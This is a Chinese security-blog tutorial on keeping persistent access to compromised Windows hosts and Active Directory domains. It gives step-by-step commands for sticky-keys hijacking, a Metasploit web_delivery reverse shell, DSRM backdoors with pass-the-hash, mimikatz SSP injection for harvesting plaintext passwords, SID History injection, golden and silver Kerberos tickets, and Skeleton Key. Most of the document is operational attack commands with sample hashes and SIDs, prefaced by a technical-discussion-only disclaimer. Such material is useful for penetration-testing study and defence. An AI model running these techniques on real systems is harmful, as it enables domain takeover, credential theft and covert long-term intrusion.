freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

权限维持简要分析
2021-11-06 12:28:49

*严正声明:本文仅限于技术讨论与分享,严禁用于非法途径。

后门程序一般是指那些绕过安全性控制而获取对程序或系统访问权的程序方法。简要的说,后门就是一个可以使攻击者随时与目标主机进行连接。因为后门可能允许一个普通的、未授权的用户连接计算机,所以攻击者经常使用后门来控制服务器。

攻击者在提升权限后,往往会通过建立后门的方法来维持对目标主机的控制权。

辅助功能镜像劫持

粘贴键后门是windows中比较常见的后门方式。只需要在windows登录界面连续按五次shift键即可调出粘贴键,因此较容易被其进行来做后门,进行权限的维持。
我们可以替换或者删除setch.exe文件,用cmd.exe文件进行替代,这样在进行粘贴键调出的时候就会触发后门,直接执行cmd界面

cd windows/system32
move sethc.exe sethc.exe.bak
copy cmd.exe sethc.exe

不过现在的服务器一般都没有办法用这种方式执行
我们还可以利用msf里面自带的模块进行后门的留取

use post/windows/manage/sticky_keys
set session 1
set target UTILMAN
exploit

这里可以设置不同的触发方式
imageC:\Windows\System32\sethc.exe 粘滞键 快捷键:按五次 shift 键
C:\Windows\System32\utilman.exe 设置中心 快捷键:Windows+U 键
C:\Windows\System32\osk.exe 屏幕键盘
点击如下按钮,即可调出cmd命令(且为system权限)
图片.png或者使用set target sethc
图片.png

计划任务后门

计划任务是系统的常见功能,利用任务计划功能,可以将任何脚本、程序或文档安排在某个最方便的时间运行。任务计划在每次系统启动的时候启动并在后台运行。
不同的windows版本,计划任务的目录不相同
windows7以及之前的版本 使用at命令
windows8开始 使用schtasks命令
使用msf进行

use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.17.128
set lport 3333
set URIPATH /
exploit

将生成的powershell复制到目标主机执行
图片.png可以通过show targets 查看可以设置哪些
图片.png

lpk劫持

这方法适用于windows2003,当目标主机补丁太多无法提权的时候,我们可以生成一个dll文件,放到对方经常要用到的文件下面,当对方重新启动改应用的时候,我们就可以通过远程桌面利用五次shift(粘贴键),然后利用主机设置的热键代码得到system权限。
这里利用phpstudy演示
图片.png我们手动重启
图片.png输入自己设置好的密码即可进入(且为system权限)
图片.png

DSRM域后门

DSRM是Windows域环境中域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账号(也就是DSRM账号)。DSRM的用途是:允许管理员在域环境出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在域环境创建初期,DSRM的密码需要在安装DC时设置,且很少会被重置。修改DSRM密码最基本的方法是在DC上运行 ntdsutil 命令。

在渗透测试中,可以使用DSRM账号对域环境进行持久化操作。我们知道,每个DC都有本地管理员(administrator)账号和密码(与域管理员的账号密码不同)。DSRM账号可以作为每个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。
在域控制器上DSRM账号=本地管理员账号(administrator)
(该方法只适用于windows2003以后的版本)

修改DSRM密码(微软官方公布)

ntdsutil // 进入ntdsutil
set dsrm password // 设置DSRM账户的密码
reset password on server null // 在当前域控制器上恢复DSRM密码
// 输入新密码
// 重新输入新密码
q //退出DSRM密码设置模式
q // 退出ntdsutil

如果域控制器的系统版本为Windows Server 2008及其以上可以使用指定域账号的密码对DSRM的密码进行同步。(Windows Server 2008版本的系统需要安装 KB961320 补丁 )
同步的方式如下:

ntdsutill //进入ntdsutil
set dsrm password //设置DSRM账户的密码
sync from domain account domainusername //使DSRM的密码和指定的的domainusername域用户的密码同步
q //退出DSRM密码设置模式
q //退出ntdsutil

A DSRM同步为一个普通域用户的密码 windows2012(AD)

在AD机上打开mimikatz,查看mssql的ntlm hash为
011aec10188562fbd7a2fb637f8a510d
privilege::debug
lsadump::lsa /patch /name:mssql(也可以抓取krbtgt的密码进行同步)
图片.png然后查看一下本地管理员的ntml hash为
161cff084477fe596a5db81874498a24
token::elevate
lsadump::sam
图片.png在域控制器的cmd中进入ntdsutil,然后输入下面命令进行DSRM账户的密码和mssql的ntml hash同步
图片.png查看dsrm(本地管理员)的ntml hash是否和mssql的同步
token::elevate
lsadump::sam
可以看到已经同步
图片.png修改目标主机DC的DSRM账户登录方式
在Windows Server 2000以后的版本操作系统中,对DSRM使用控制台登录域控制器进行了限制。我们可以在注册表的HKLM:\System\CurrentControlSet\Control\Lsa\中新建DsrmAdminLogonBehavior项进行设置,将该新建的项中的值设为0、1、2可以分别设置不同的DSRM账户登录方式:
0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号
1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器
2:在任何情况下,都可以使用DSRM管理员账号登录域控制器
我们用powershell命令将DSRM的登录方式设置为“2”,这样在任何情况下,都可以使用DSRM管理员账号登录域控制器:

New-ItemProperty "hklm:\system\currentcontrolset\control\lsa" -name "dsrmadminlogonbehavior" -value 2 -propertytype DWORD

图片.png在域成员机器上执行,后即可弹出一个新的cmd目录界面(这里domain后面是机器名)

privilege::debug
sekurlsa::pth /domain:DC /user:Administrator /ntlm:011aec10188562fbd7a2fb637f8a510d

B 修改DSRM的方法windows2008(AD)

同上方法类似
先查看域控上本地管理员的ntml hsah

privilege::debug
token::elevate
lsadump::sam

图片.png然后在域控上使用ntdsutil修改本地管理员密码

ntdsutil // 进入ntdsutil
set dsrm password // 设置DSRM账户的密码
reset password on server null // 在当前域控制器上恢复DSRM密码
// 输入新密码
// 重新输入新密码
q //退出DSRM密码设置模式
q // 退出ntdsutil

图片.png同样在注册表的HKLM:\System\CurrentControlSet\Control\Lsa\中新建DsrmAdminLogonBehavior项进行设置

New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" -name "DsrmAdminLogonBehavior" -value 2 -propertyType DWORD

图片.png然后在域成员机器上面使用mimikatz执行,即可完成使用域控制器的本地Administrator账号哈希传递攻击域控

privilege::debug
sekurlsa::pth /domain:OWA /user:Administrator /ntlm:dfbeeff95923017b732501670b359e4f

图片.png

SSP域控权限维持

SSP(Security Support Provider)是Windows操作系统安全机制的提供者。简单的说,SSP就是一个DLL文件,主要用来实现Windows操作系统的身份认证功能,例如:NTLM、Kerberos、Negotiate、Secure Channel(Schannel),Digest、Credential(CredSSP)等等。
SSPI(Security Support Provider Interface)安全支持提供接口,是Windows操作系统在执行认证操作时使用的API接口。也就是说,SSPI是SSP的API接口。
如果我们获得了网络中目标机器的System权限,可以使用该方法进行持久化操作。
其主要原理是:LSA(Local Security Authority)用于身份验证;lsass.exe作为Windows的系统进程,用于本地安全和登录策略;在系统启动时,SSP将被加载到lsass.exe进程中。但是,假如攻击者对LSA进行了扩展,自定义了恶意的DLL文件,在系统启动时将其加载到lsass.exe进程中,就能够获取lsass.exe进程中的明文密码。这样,即使用户更改密码并重新登录,攻击者依然可以获取该账号的新密码。

A 使用Mimikatz将伪造的SSP直接注入内存

方法一可以使用Mimikatz将伪造的SSP注入内存,
优点:这种方法不会在系统中留下二进制文件,
缺点:但域控重启,被注入内存的伪造SSP就会丢失。
在域控中用管理员身份打开mimikatz(实际情况都已经提权了)

privilege::debug
misc::memssp

图片.png如上图所示,我们已经成功将伪造的SSP注入内存中了,只要域控用户重新登录,那么密码就会被记录在 C:\Windows\System32\mimilsa.log 中
图片.png

B 上传Mimikatz项目中的mimilib.dll(对方重启有效)

直接将mimikatz中的mimilib.dll放到系统的C:\Windows\System32目录下,并将 mimilib.dll 添加到注册表中,使用这种方法,
优点:即使系统重启,也不会影响持久化效果;
缺点:但是会在目标主机上留下二进制文件。
使用mimikatz生成mimilib.dll(这里生成的dll要根据目标系统的操作位数来生成)
图片.png修改注册表 HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa 的 Security Packages 项,将mimilib.dll添加进去,让其加载新的DLL文件"mimilib.dll"
image系统重启后,DLL将会被成功加载,用户在登录时输入的账号密码将会被记录在 C:\Windows\System32\kiwissp.log中
image

SID History域后门

每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。
SID History是在域迁移过程中需要使用的一个属性。

如果将A域中的域用户迁移到B域中,那么在B域中该用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。

SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。
我们先在域控上创建一个恶意的用户账号
hack/Qwe13579
图片.png我们在域控上使用mimikatz来操作, 将域管理员Administrator的SID添加到恶意域用户hack的SID History属性中。
( 使用mimikatz注入SID之前,需要使用 sid::patch 命令修复NTDS服务,否则无法将高权限的SID注入低权限用户的SID History属性 )

privilege::debug
sid::patch

sid::add /sam:hack /new:Administrator //将Administrator的SID添加到hack的SID History属性中
图片.png我们可以使用powershell来查看是否添加成功

Import-Module activedirectory
Get-ADUser hack -Properties sidhistory
Get-ADUser administrator -Properties sidhistory

添加成功
图片.png现在hack用户就有了域控管理员的权限
可以进程登录远程桌面或者ipc连接
图片.png

黄金票据(Golden ticket)

假设之前拿到的域内所有的用户的hash,包括krbtgt的, 由于有些原因导致你对域管权限丢失,但好在你还有一个普通域用户权限,碰巧管理员在域内加固时忘记重置krbtgt密码或者管理员修改了域管理员密码,并且进行了断网处理,但是恰巧忘记重置lrbtgt的密码。我们可以利用黄金票据重新获得域控制器的权限。
krbtgt是KDC服务使用的账号,属于Domain Admins组。在域环境中,每个用户账号的票据都是由krbtgt生成的,假设我们拿到了krbtgt的ntml hash,我们就可以伪造域内任意用户发身份,并且访问其服务。
攻击者再使用黄金票据进行票据传递攻击时,通常要掌握以下信息:

1)需要伪造的域管理员用户名
2)完整的域名
3)域SID
4)krbtgt的NTLM Hash或者AES-256
本次环境
1)伪造的域管理员用户名:administrator
2)域名:god.org

1、导出krbtgt的ntml hash

privilege::debug
lsadump::lsa /patch // 专用于在域控制器上导出用户密码或hash
图片.png域SID:S-1-5-21-2952760202-1353902439-2381784089
krbtgt:58e91a5ac358d86513ab224312314061
这里也可以使用 wmic useraccount get name,sid
来获取域的SID,这中也可以获取域内所有用户的SID(并且可以是普通域用户权限)
图片.png

2、票据操作

然后我们切换到域成员机器,用mimikatz生成名为administrator.kirbi的TGT凭证,用户名为域管理员用户(administrator):

kerberos::golden /user:administrator /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089 /krbtgt:58e91a5ac358d86513ab224312314061 /ticket:administrator.kirbi

//kerberos::golden /user:需要伪造的域管理员用户名 /domain:域名 /sid:域sid /krbtgt: krbtgt用户的Hash /ticket:administrator.kirbi
图片.png此时可以看到生成名为administrator.kirbi的TGT成功, 然后使用mimikatz将凭证administrator.kirbi注入进去
kerberos::purge //先清空所有票据
kerberos::ptt administrator.kirbi //再将生成的票据注入域用户主机Windows7中
//kerberos::ptt <票据文件>
图片.png可以看到刚刚注入的票据在里面了
kerberos::tgt //查看当前会话中的票据
图片.png

3、权限验证

(注意:这里要用对方的主机名)
图片.png

白银票据

白银票据不同于黄金票据,白银票据的利用过程是伪造TGS,通过已知的授权服务密码生成一张可以访问该服务的TGT。因为在票据生成过程中不需要使用KDC,所以可以绕过域控制器,很少留下日志。而黄金票据在利用过程中由KDC颁发TGT,并且在生成伪造的TGT得20分钟内,TGS不会对该TGT的真伪进行效验。
白银票据依赖于服务账号的密码散列值,这不同于黄金票据利用需要使用krbtgt账号的密码哈希值,因此更加隐蔽。
攻击者要利用白银票据进行票据传递攻击,需要掌握下面几个信息:

1)域名
2)域SID
3)目标服务器的FQDN
4)可利用的服务
5)服务账号的NTLM Hash
6)要伪造的用户名

假设已经获得了普通域用户主机Windows7和域控制器DC的控制权,我们将使用白银票据伪造CIFS服务权限,对DC进行持久化控制。CIFS服务通常用于Windows主机之间的文件共享。
我们在域控制器中使用mimikatz获取服务账号的ntml hash

privilege::debug
sekurlsa::logonpasswords
ntml hash:2bdd36f958dd328d3dd8937402984764

图片.png然后我们切换到域成员机器中
klist purge //清空系统中的票据

kerberos::golden /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089 /target:owa.god.org /rc4:2bdd36f958dd328d3dd8937402984764 /service:cifs /user:hack /ptt

1)/sid:域的SID值
2)/rc4:server机器的hash
3)/service:可利用的服务,这里是cifs
4)/user:要伪造的用户名,任意填写
5)/target:域控制器名,即FQDN(全称,如dc.domain.com)
6)/domain:域名
图片.png

Skeleton Key

skeleton key就是给所有域内用户添加一个相同的密码,域内所有的用户都可以使用这个密码进行认证,同时原始密码也可以使用,其原理就是对 lsass.exe 进行注入,所以重启后会失效。
我们可以使用Skeleton Key(万能密码),对域内权限进行持久化操作。
我们在域控制器上运行mimikatz

privilege::debug
misc::skeleton

图片.png注入成功,此时便会在域内的所有账号中添加万能密码:“mimikatz”,我们就可以用此密码登录域内用户的任何机器
图片.png

# web安全 # 内网渗透
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录